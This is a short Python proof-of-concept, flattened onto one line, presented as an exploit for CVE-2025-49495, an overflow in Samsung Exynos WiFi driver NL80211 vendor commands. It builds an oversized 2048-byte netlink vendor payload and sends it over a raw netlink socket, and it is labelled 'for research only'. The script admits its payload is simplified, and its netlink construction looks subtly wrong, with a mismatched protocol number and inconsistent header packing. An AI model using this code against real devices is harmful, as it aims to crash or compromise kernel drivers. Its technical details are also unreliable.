CVE-2025-49495

# CVE-2025-49495 PoC - NL80211 Vendor Command Buffer Overflow # Target: Samsung Exynos WiFi Driver # This PoC demonstrates the vulnerability concept (for research only) import socket import struct import os # NL80211 Netlink family NL80211_CMD_UNSPEC = 0 NL80211_CMD_VENDOR = 100 # Netlink message header NLMSG_HDRLEN = 16 NL80211_HDRLEN = 24 def create_nl80211_vendor_cmd(): """ Create malicious NL80211 vendor command to trigger buffer overflow """ # Vendor command attributes vendor_id = 0x001A8A # Samsung vendor ID subcmd = 0x0001 # Specific subcommand # Malicious payload - oversized data to trigger overflow # This is a simplified representation overflow_length = 2048 malicious_data = b'A' * overflow_length # Construct vendor attribute: NL80211_ATTR_VENDOR_DATA vendor_attr = struct.pack('<III', 0xAD, len(malicious_data) + 4, subcmd) vendor_attr += malicious_data # Construct NL80211 vendor command header nl80211_cmd = struct.pack('<III', vendor_id, subcmd, len(vendor_attr)) nl80211_cmd += vendor_attr # Netlink message header nlmsg_len = NLMSG_HDRLEN + NL80211_HDRLEN + len(nl80211_cmd) nlmsg = struct.pack('<IHHII', nlmsg_len, NL80211_CMD_UNSPEC, 0, os.getpid(), 0) nlmsg += struct.pack('<IBBHI', 0x10, 0x06, 0x00, 0x00, 0x00) # NL80211 header nlmsg += nl80211_cmd return nlmsg def send_malicious_command(): """ Send malicious NL80211 vendor command via Netlink socket """ try: sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, 0x000B) # Bind to process context sock.bind((os.getpid(), 0, 0)) # Create and send malicious command payload = create_nl80211_vendor_cmd() sock.sendto(payload, (0, 0)) print("Malicious NL80211 vendor command sent") sock.close() return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": print("CVE-2025-49495 PoC - Samsung Exynos WiFi Driver Overflow") print("This PoC is for educational and research purposes only.") send_malicious_command()

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